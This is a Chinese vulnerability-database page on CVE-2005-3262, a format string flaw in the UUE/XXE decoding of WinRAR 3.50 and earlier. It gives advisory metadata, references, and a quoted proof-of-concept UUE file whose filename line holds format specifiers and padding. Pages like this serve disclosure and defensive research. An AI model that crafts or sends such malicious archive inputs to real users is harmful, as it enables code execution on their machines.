RARLAB WinRAR UUE/XXE编码文件远程代码执行漏洞-安全小百科

RARLAB WinRAR UUE/XXE编码文件远程代码执行漏洞

漏洞ID	1109127	漏洞类型	格式化字符串
发布时间	2005-10-11	更新时间	2005-10-20
CVE编号	CVE-2005-3262	CNNVD-ID	CNNVD-200510-147
漏洞平台	Linux	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/26342
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200510-147

|漏洞详情

WinRar是非常流行的压缩/解压工具。在显示诊断错误消息通知用户UUE/XXE编码文件中存在无效的文件名时存在格式串漏洞，导致在解码恶意的UUE/XXE文件时会执行任意代码。

|漏洞EXP

source: http://www.securityfocus.com/bid/15062/info

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues. 

begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end

|参考资料

来源:BID
名称:15062
链接:http://www.securityfocus.com/bid/15062
来源:MISC
链接:http://secunia.com/secunia_research/2005-53/advisory/
来源:SECUNIA
名称:16973
链接:http://secunia.com/advisories/16973/
来源:www.rarlabs.com
链接:http://www.rarlabs.com/rarnew.htm

相关推荐: Roundup Client.PY HTML Injection Vulnerability

Roundup Client.PY HTML Injection Vulnerability 漏洞ID 1099745 漏洞类型 Input Validation Error 发布时间 2003-07-30 更新时间 2003-07-30 CVE编号 N/A …

文章版权归作者所有，未经允许请勿转载。

THE END

网络安全漏洞
# 漏洞 # cnnvd # winrar

喜欢就支持一下吧

RARLAB WinRAR UUE/XXE编码文件远程代码执行漏洞